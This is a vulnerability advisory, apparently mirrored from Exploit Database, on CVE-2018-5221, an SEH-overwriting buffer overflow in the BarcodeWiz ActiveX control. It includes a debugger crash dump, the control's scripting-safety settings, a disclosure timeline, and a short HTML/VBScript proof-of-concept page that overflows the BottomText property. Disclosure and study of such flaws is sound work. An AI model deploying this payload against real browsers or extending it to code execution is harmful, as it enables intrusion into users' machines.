BarcodeWiz ActiveX Control < 6.7 - Buffer Overflow (PoC)

• Exploit Database
• 16 阅读

• 作者： hyp3rlinx
  日期： 2018-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43456/

• [+] Credits: John Page (aka hyp3rlinx)		
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/BARCODEWIZ-v6.7-ACTIVEX-COMPONENT-BUFFER-OVERFLOW.txt
  [+] ISR: ApparitionSec
   
  
  
  Vendor:
  =================
  www.barcodewiz.com
  
  
  Product:
  =============
  BarcodeWiz ActiveX Control < 6.7
  
  BarCodeWiz OnLabel. Generates dynamic barcodes from your imported Excel, CSV, or Access files. Print auto incrementing barcodes; 
  Choose from hundreds of label layouts; Export as PDF or XPS.
  
  
  Vulnerability Type:
  ===================
  Buffer Overflow
  
  
  CVE Reference:
  ==============
  CVE-2018-5221
  
  
  Security Issue:
  ================
  BarcodeWiz.DLL BottomText and TopText propertys suffer from buffer overflow vulnerability resulting in (SEH) "Structured Exceptional Handler" overwrite .
  This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code. User would have to visit a malicious webpage using
  InternetExplorer where the exploit could be triggered.
  
  
  SEH chain of main thread
  AddressSE handler
  0018DAC0 kernel32.754E48F3
  0018EE34 41414141
  41414141 *** CORRUPT ENTRY ***
  
  
  Exception Code: ACCESS_VIOLATION
  Disasm: 2045665	MOV [EDX+ECX],AL	(BarcodeWiz.DLL)
  
  SEH Chain:
  --------------------------------------------------
  1 	41414141 	
  
  
  Called From Returns To
  --------------------------------------------------
  BarcodeWiz.2045665BarcodeWiz.202FF50
  BarcodeWiz.202FF5041414141
  4141414141414141
  4141414141414141
  4141414141414141
  4141414141414141
  4141414141414141 
  
  
  Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
  RegKey Safe for Script: True
  RegKey Safe for Init: True
  Implements IObjectSafety: True
  IDisp Safe:Safe for untrusted: caller,data
  IPersist Safe:Safe for untrusted: caller,data
  IPStorage Safe:Safe for untrusted: caller,data
  
  
  Exploit/POC:
  =============
  <object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='VICTIM' />
  <script language='vbscript'>
  
  PAYLOAD=String(12308, "A")
  
  VICTIM.BottomText = PAYLOAD
  
  </script>
  
  
  
  
  Network Access:
  ===============
  Remote
  
  
  
  Severity:
  =========
  High
  
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification: December 26, 2017
  Vendor Acknowledgement: January 2, 2018
  Vendor "updated version released this week." : January 2, 2018
  January 6, 2018 : Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).
  
  hyp3rlinx